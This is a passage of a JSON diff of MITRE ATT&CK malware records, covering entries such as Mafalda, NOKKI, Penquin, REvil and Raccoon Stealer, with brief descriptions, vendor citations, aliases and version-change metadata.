"S0409" + }, + { + "source_name": "Pyark", + "description": "(Citation: 360 Machete Sep 2020)" + }, + { + "source_name": "Machete", + "description": "(Citation: Securelist Machete Aug 2014)" + }, + { + "source_name": "ESET Machete July 2019", + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + }, + { + "source_name": "Securelist Machete Aug 2014", + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.", + "url": "https://securelist.com/el-machete/66108/" + }, + { + "source_name": "360 Machete Sep 2020", + "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020.", + "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Machete", + "Pyark" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Matias Nicolas Porolli, ESET" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-06-06 14:13:34.557000+00:00\", \"old_value\": \"2025-04-16 20:38:02.252000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.2\", \"old_value\": \"2.1\"}}}", + "previous_version": "2.1", + "version_change": "2.1 \u2192 2.2" + }, + { + "type": "malware", + "id": "malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-01-26 01:21:43.409000+00:00", + "modified": "2025-10-21 22:47:45.475000+00:00", + "name": "Mafalda", + "description": "[Mafalda](https://attack.mitre.org/software/S1060) is a flexible interactive implant that has been used by [Metador](https://attack.mitre.org/groups/G1013). Security researchers assess the [Mafalda](https://attack.mitre.org/software/S1060) name may be inspired by an Argentinian cartoon character that has been popular as a means of political commentary since the 1960s. (Citation: SentinelLabs Metador Sept 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1060", + "external_id": "S1060" + }, + { + "source_name": "SentinelLabs Metador Sept 2022", + "description": "Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.", + "url": "https://assets.sentinelone.com/sentinellabs22/metador#page=1" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Mafalda" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Massimiliano Romano, BT Security" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 22:47:45.475000+00:00\", \"old_value\": \"2024-04-11 00:49:47.226000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2" + }, + { + "type": "malware", + "id": "malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-07-25 17:00:15.045000+00:00", + "modified": "2025-10-21 23:07:12.767000+00:00", + "name": "Mongall", + "description": "[Mongall](https://attack.mitre.org/software/S1026) is a backdoor that has been used since at least 2013, including by [Aoqin Dragon](https://attack.mitre.org/groups/G1007).(Citation: SentinelOne Aoqin Dragon June 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1026", + "external_id": "S1026" + }, + { + "source_name": "SentinelOne Aoqin Dragon June 2022", + "description": "Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.", + "url": "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Mongall" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Hiroki Nagahama, NEC Corporation", + "Pooja Natarajan, NEC Corporation India", + "Manikantan Srinivasan, NEC Corporation India" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 23:07:12.767000+00:00\", \"old_value\": \"2025-04-16 20:38:16.324000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "malware", + "id": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30 19:50:45.307000+00:00", + "modified": "2025-10-22 03:14:37.092000+00:00", + "name": "NOKKI", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) is a modular remote access tool. The earliest observed attack using [NOKKI](https://attack.mitre.org/software/S0353) was in January 2018. [NOKKI](https://attack.mitre.org/software/S0353) has significant code overlap with the [KONNI](https://attack.mitre.org/software/S0356) malware family. There is some evidence potentially linking [NOKKI](https://attack.mitre.org/software/S0353) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0353", + "external_id": "S0353" + }, + { + "source_name": "NOKKI", + "description": "(Citation: Unit 42 NOKKI Sept 2018)" + }, + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + }, + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "NOKKI" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 03:14:37.092000+00:00\", \"old_value\": \"2025-04-25 14:42:35.581000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2" + }, + { + "type": "malware", + "id": "malware--51f78dfc-52f9-424e-8753-bb4246188313", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-07-25 22:12:08.779000+00:00", + "modified": "2025-10-21 23:09:37.402000+00:00", + "name": "Nightdoor", + "description": "[Nightdoor](https://attack.mitre.org/software/S1147) is a backdoor exclusively associated with [Daggerfly](https://attack.mitre.org/groups/G1034) operations. [Nightdoor](https://attack.mitre.org/software/S1147) uses common libraries with [MgBot](https://attack.mitre.org/software/S1146) and [MacMa](https://attack.mitre.org/software/S1016), linking these malware families together.(Citation: ESET EvasivePanda 2024)(Citation: Symantec Daggerfly 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1147", + "external_id": "S1147" + }, + { + "source_name": "ESET EvasivePanda 2024", + "description": "Ahn Ho, Facundo Mu\u00f1oz, & Marc-Etienne M.L\u00e9veill\u00e9. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.", + "url": "https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/" + }, + { + "source_name": "Symantec Daggerfly 2024", + "description": "Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.", + "url": "https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Nightdoor" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 23:09:37.402000+00:00\", \"old_value\": \"2024-10-10 14:35:13.781000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "malware", + "id": "malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-01-11 18:40:51.497000+00:00", + "modified": "2025-10-22 02:17:48.978000+00:00", + "name": "Ninja", + "description": "[Ninja](https://attack.mitre.org/software/S1100) is a malware developed in C++ that has been used by [ToddyCat](https://attack.mitre.org/groups/G1022) to penetrate networks and control remote systems since at least 2020. [Ninja](https://attack.mitre.org/software/S1100) is possibly part of a post exploitation toolkit exclusively used by [ToddyCat](https://attack.mitre.org/groups/G1022) and allows multiple operators to work simultaneously on the same machine. [Ninja](https://attack.mitre.org/software/S1100) has been used against government and military entities in Europe and Asia and observed in specific infection chains being deployed by [Samurai](https://attack.mitre.org/software/S1099).(Citation: Kaspersky ToddyCat June 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1100", + "external_id": "S1100" + }, + { + "source_name": "Kaspersky ToddyCat June 2022", + "description": "Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.", + "url": "https://securelist.com/toddycat/106799/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Ninja" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 02:17:48.978000+00:00\", \"old_value\": \"2024-04-17 22:02:37.451000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "malware", + "id": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30 13:24:08.616000+00:00", + "modified": "2025-10-22 02:21:47.267000+00:00", + "name": "Octopus", + "description": "[Octopus](https://attack.mitre.org/software/S0340) is a Windows Trojan written in the Delphi programming language that has been used by [Nomadic Octopus](https://attack.mitre.org/groups/G0133) to target government organizations in Central Asia since at least 2014.(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018) ", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0340", + "external_id": "S0340" + }, + { + "source_name": "Octopus", + "description": "(Citation: Securelist Octopus Oct 2018)(Citation: Security Affairs DustSquad Oct 2018)(Citation: ESET Nomadic Octopus 2018)" + }, + { + "source_name": "ESET Nomadic Octopus 2018", + "description": "Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf" + }, + { + "source_name": "Securelist Octopus Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + }, + { + "source_name": "Security Affairs DustSquad Oct 2018", + "description": "Paganini, P. (2018, October 16). Russia-linked APT group DustSquad targets diplomatic entities in Central Asia. Retrieved August 24, 2021.", + "url": "https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Octopus" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 02:21:47.267000+00:00\", \"old_value\": \"2025-04-16 20:38:39.717000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}}", + "previous_version": "2.0", + "version_change": "2.0 \u2192 2.1" + }, + { + "type": "malware", + "id": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-21 23:00:57.240000+00:00", + "name": "Pasam", + "description": "[Pasam](https://attack.mitre.org/software/S0208) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Pasam May 2012)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0208", + "external_id": "S0208" + }, + { + "source_name": "Pasam", + "description": "(Citation: Symantec Pasam May 2012)" + }, + { + "source_name": "Symantec Pasam May 2012", + "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99" + }, + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20190717233006/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Pasam" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 23:00:57.240000+00:00\", \"old_value\": \"2024-11-17 19:55:07.592000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2" + }, + { + "type": "malware", + "id": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-11 15:06:57.934000+00:00", + "modified": "2025-10-22 03:16:19.980000+00:00", + "name": "Penquin", + "description": "[Penquin](https://attack.mitre.org/software/S0587) is a remote access trojan (RAT) with multiple versions used by [Turla](https://attack.mitre.org/groups/G0010) to target Linux systems since at least 2014.(Citation: Kaspersky Turla Penquin December 2014)(Citation: Leonardo Turla Penquin May 2020)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0587", + "external_id": "S0587" + }, + { + "source_name": "Penquin 2.0", + "description": "(Citation: Leonardo Turla Penquin May 2020)" + }, + { + "source_name": "Penquin_x64", + "description": "(Citation: Leonardo Turla Penquin May 2020)" + }, + { + "source_name": "Kaspersky Turla Penquin December 2014", + "description": "Baumgartner, K. and Raiu, C. (2014, December 8). The \u2018Penquin\u2019 Turla. Retrieved March 11, 2021.", + "url": "https://securelist.com/the-penquin-turla-2/67962/" + }, + { + "source_name": "Leonardo Turla Penquin May 2020", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.", + "url": "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Penquin", + "Penquin 2.0", + "Penquin_x64" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Silvio La Porta, @LDO_CyberSec, Leonardo's Cyber Security Division", + "Antonio Villani, @LDO_CyberSec, Leonardo's Cyber Security Division", + "Nino Verde, @LDO_CyberSec, Leonardo's Cyber Security Division" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 03:16:19.980000+00:00\", \"old_value\": \"2024-04-11 00:27:30.199000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3" + }, + { + "type": "malware", + "id": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17 00:14:20.652000+00:00", + "modified": "2025-10-22 03:00:39.798000+00:00", + "name": "Proxysvc", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) is a malicious DLL used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of [Proxysvc](https://attack.mitre.org/software/S0238) is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process. (Citation: McAfee GhostSecret)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0238", + "external_id": "S0238" + }, + { + "source_name": "Proxysvc", + "description": "(Citation: McAfee GhostSecret)" + }, + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Proxysvc" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Edward Millington" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 03:00:39.798000+00:00\", \"old_value\": \"2025-04-25 14:42:34.849000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3" + }, + { + "type": "malware", + "id": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-08-04 15:06:14.796000+00:00", + "modified": "2025-10-22 02:14:27.600000+00:00", + "name": "REvil", + "description": "[REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496), which as been used against organizations in the manufacturing, transportation, and electric sectors, is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0496", + "external_id": "S0496" + }, + { + "source_name": "Sodin", + "description": "(Citation: Intel 471 REvil March 2020)(Citation: Kaspersky Sodin July 2019)" + }, + { + "source_name": "Sodinokibi", + "description": "(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: G Data Sodinokibi June 2019)(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: McAfee REvil October 2019)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)(Citation: Tetra Defense Sodinokibi March 2020)" + }, + { + "source_name": "Talos Sodinokibi April 2019", + "description": "Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020.", + "url": "https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html" + }, + { + "source_name": "Secureworks REvil September 2019", + "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020.", + "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware" + }, + { + "source_name": "Cylance Sodinokibi July 2019", + "description": "Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020.", + "url": "https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html" + }, + { + "source_name": "Group IB Ransomware May 2020", + "description": "Group IB. (2020, May). Ransomware Uncovered: Attackers\u2019 Latest Methods. Retrieved August 5, 2020.", + "url": "https://www.group-ib.com/whitepapers/ransomware-uncovered.html" + }, + { + "source_name": "G Data Sodinokibi June 2019", + "description": "Han, Karsten. (2019, June 4). Strange Bits: Sodinokibi Spam, CinaRAT, and Fake G DATA. Retrieved August 4, 2020.", + "url": "https://www.gdatasoftware.com/blog/2019/06/31724-strange-bits-sodinokibi-spam-cinarat-and-fake-g-data" + }, + { + "source_name": "Intel 471 REvil March 2020", + "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020.", + "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/" + }, + { + "source_name": "Kaspersky Sodin July 2019", + "description": "Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020.", + "url": "https://securelist.com/sodin-ransomware/91473/" + }, + { + "source_name": "McAfee Sodinokibi October 2019", + "description": "McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 What The Code Tells Us. Retrieved August 4, 2020.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/" + }, + { + "source_name": "Picus Sodinokibi January 2020", + "description": "Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020.", + "url": "https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware" + }, + { + "source_name": "McAfee REvil October 2019", + "description": "Saavedra-Morales, J, et al. (2019, October 20). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 Crescendo. Retrieved August 5, 2020.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/" + }, + { + "source_name": "Secureworks GandCrab and REvil September 2019", + "description": "Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020.", + "url": "https://www.secureworks.com/blog/revil-the-gandcrab-connection" + }, + { + "source_name": "Tetra Defense Sodinokibi March 2020", + "description": "Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20210414101816/https://tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "REvil", + "Sodin", + "Sodinokibi" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Edward Millington" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 02:14:27.600000+00:00\", \"old_value\": \"2024-11-17 23:08:38.543000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.3\", \"old_value\": \"2.2\"}}}", + "previous_version": "2.2", + "version_change": "2.2 \u2192 2.3" + }, + { + "type": "malware", + "id": "malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-08-01 21:53:48.812000+00:00", + "modified": "2025-10-14 21:40:02.258000+00:00", + "name": "Raccoon Stealer", + "description": "[Raccoon Stealer](https://attack.mitre.org/software/S1148) is an information stealer malware family active since at least 2019 as a malware-as-a-service offering sold in underground forums. [Raccoon Stealer](https://attack.mitre.org/software/S1148) has experienced two periods of activity across two variants, from 2019 to March 2022, then resurfacing in a revised version in June 2022.(Citation: S2W Racoon 2022)(Citation: Sekoia Raccoon1 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + 